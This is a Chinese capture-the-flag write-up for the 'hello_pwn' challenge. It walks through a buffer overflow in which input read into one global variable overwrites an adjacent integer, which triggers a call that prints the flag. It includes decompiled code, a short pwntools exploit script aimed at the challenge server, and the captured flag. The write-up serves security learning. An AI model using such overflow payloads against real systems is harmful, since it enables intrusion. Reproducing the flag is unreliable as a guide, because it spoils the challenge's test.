ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

攻防世界 hello_pwn

2020-10-05 15:32:37  阅读:280  来源: 互联网

标签:__ 攻防 400686 sub 60106C 1853186401 pwn dword hello


题目

二进制文件:hello_pwn
环境:220.249.52.133:41097

分析与求解

  1. checksec hello_pwn

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

用IDA64打开。
2. 反编译后查看main函数,基本逻辑是read进来用户输入的数据放到unk_601068,然后判断dword_60106C是否等于1853186401,若等于,则调用sub_400686函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);
  return 0LL;
}
  1. 查看sub_400686函数,因此只要执行sub_400686就可以cat flag.txt
__int64 sub_400686()
{
  system("cat flag.txt");
  return 0LL;
}
  1. 点击unk_601068或者dword_60106C可以查看对应栈信息

    这意味,只要先将0x601068~0x60106B这四个字节用任意数据填充掉,再跟上1853186401的二进制数就可以覆盖dword_60106C部分的值,使得sub_400686被调用。
  2. 利用pwntools获取flag
from pwn import *

p = remote('220.249.52.133', 41097)
payload = 'a'*4 + p64(1853186401)
p.send(payload)
p.interactive()

cyberpeace{09ed13883f73354381a4086c516d64bf}

标签:__,攻防,400686,sub,60106C,1853186401,pwn,dword,hello
来源: https://www.cnblogs.com/vict0r/p/13770060.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有